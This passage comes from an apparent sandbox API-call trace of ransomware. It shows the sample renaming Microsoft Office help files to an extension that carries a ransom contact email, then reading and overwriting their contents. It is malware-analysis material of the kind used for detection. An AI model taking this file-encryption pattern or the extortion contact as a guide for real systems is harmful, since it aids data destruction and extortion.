Office\\root\\Office16\\1033\\LYNC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0147.043] CloseHandle (hObject=0x3f8) returned 1 [0147.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_K~1.FIR")) returned 0x6d4e00 [0147.044] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0147.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0147.045] GetProcessHeap () returned 0x630000 [0147.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a54c8 [0147.045] GetProcessHeap () returned 0x630000 [0147.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0147.045] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.045] ReadFile (in: hFile=0x3f8, lpBuffer=0x6a54c8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a54c8*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.046] GetProcessHeap () returned 0x630000 [0147.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0147.046] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.046] WriteFile (in: hFile=0x3f8, lpBuffer=0x6a5318*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.047] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.047] WriteFile (in: hFile=0x3f8, lpBuffer=0x6a5377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5377*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.047] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.047] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.047] CloseHandle (hObject=0x3f8) returned 1 [0147.047] GetProcessHeap () returned 0x630000 [0147.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0147.047] GetProcessHeap () returned 0x630000 [0147.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a54c8 | out: hHeap=0x630000) returned 1 [0147.047] GetProcessHeap () returned 0x630000 [0147.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0147.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d98af1c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3f7fd20, dwReserved1=0x6a54c8, cFileName="LYNC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_K~1.FIR")) returned 0x6d4f40 [0147.047] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0147.048] Sleep (dwMilliseconds=0x1) [0147.058] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK", len=0x43 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK") returned 1 [0147.058] GetProcessHeap () returned 0x630000 [0147.058] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26ac) returned 0x71f7c78 [0147.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.059] CloseHandle (hObject=0x6a4) returned 1 [0147.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_F~1.FIR")) returned 0x6d5580 [0147.060] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0147.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.060] GetProcessHeap () returned 0x630000 [0147.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4fb8 [0147.060] GetProcessHeap () returned 0x630000 [0147.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0147.060] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.060] ReadFile (in: hFile=0x6a4, lpBuffer=0x6a4fb8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4fb8*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.062] GetProcessHeap () returned 0x630000 [0147.062] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0147.062] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.062] WriteFile (in: hFile=0x6a4, lpBuffer=0x6a4628*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.062] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.062] WriteFile (in: hFile=0x6a4, lpBuffer=0x6a4687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4687*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.062] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.062] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.062] CloseHandle (hObject=0x6a4) returned 1 [0147.062] GetProcessHeap () returned 0x630000 [0147.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0147.062] GetProcessHeap () returned 0x630000 [0147.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4fb8 | out: hHeap=0x630000) returned 1 [0147.062] GetProcessHeap () returned 0x630000 [0147.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0147.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d9b1150, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x3f7fd20, dwReserved1=0x6a4fb8, cFileName="LYNC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_F~1.FIR")) returned 0x6d5540 [0147.063] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0147.063] Sleep (dwMilliseconds=0x1) [0147.104] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT", len=0x41 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT") returned 1 [0147.104] GetProcessHeap () returned 0x630000 [0147.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a8) returned 0x71f7c78 [0147.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0147.106] CloseHandle (hObject=0x6c8) returned 1 [0147.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_C~1.FIR")) returned 0x6d5280 [0147.109] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0147.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0147.109] GetProcessHeap () returned 0x630000 [0147.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718678 [0147.109] GetProcessHeap () returned 0x630000 [0147.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717958 [0147.109] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.109] ReadFile (in: hFile=0x6c8, lpBuffer=0x718678, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718678*, lpNumberOfBytesRead=0x3f7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0147.111] GetProcessHeap () returned 0x630000 [0147.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0147.111] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.111] WriteFile (in: hFile=0x6c8, lpBuffer=0x717958*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717958*, lpNumberOfBytesWritten=0x3f7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0147.111] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.111] WriteFile (in: hFile=0x6c8, lpBuffer=0x717a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717a17*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.111] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.111] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.111] CloseHandle (hObject=0x6c8) returned 1 [0147.112] GetProcessHeap () returned 0x630000 [0147.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717958 | out: hHeap=0x630000) returned 1 [0147.112] GetProcessHeap () returned 0x630000 [0147.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718678 | out: hHeap=0x630000) returned 1 [0147.112] GetProcessHeap () returned 0x630000 [0147.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0147.112] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1da239c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x3f7fd20, dwReserved1=0x718678, cFileName="LYNC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_C~1.FIR")) returned 0x6d5540 [0147.112] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0147.112] Sleep (dwMilliseconds=0x1) [0147.162] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK", len=0x49 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK") returned 1 [0147.162] GetProcessHeap () returned 0x630000 [0147.162] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a0) returned 0x71f7c78 [0147.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.162] CloseHandle (hObject=0x6a4) returned 1 [0147.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.163] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~1.FIR")) returned 0x6d4f40 [0147.164] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0147.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.164] GetProcessHeap () returned 0x630000 [0147.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a54c8 [0147.164] GetProcessHeap () returned 0x630000 [0147.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e08 [0147.164] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.164] ReadFile (in: hFile=0x6a4, lpBuffer=0x6a54c8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a54c8*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.165] GetProcessHeap () returned 0x630000 [0147.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0147.165] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.165] WriteFile (in: hFile=0x6a4, lpBuffer=0x6a4e08*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e08*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.166] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.166] WriteFile (in: hFile=0x6a4, lpBuffer=0x6a4e67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e67*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.166] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.166] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.166] CloseHandle (hObject=0x6a4) returned 1 [0147.166] GetProcessHeap () returned 0x630000 [0147.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e08 | out: hHeap=0x630000) returned 1 [0147.166] GetProcessHeap () returned 0x630000 [0147.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a54c8 | out: hHeap=0x630000) returned 1 [0147.166] GetProcessHeap () returned 0x630000 [0147.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0147.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, 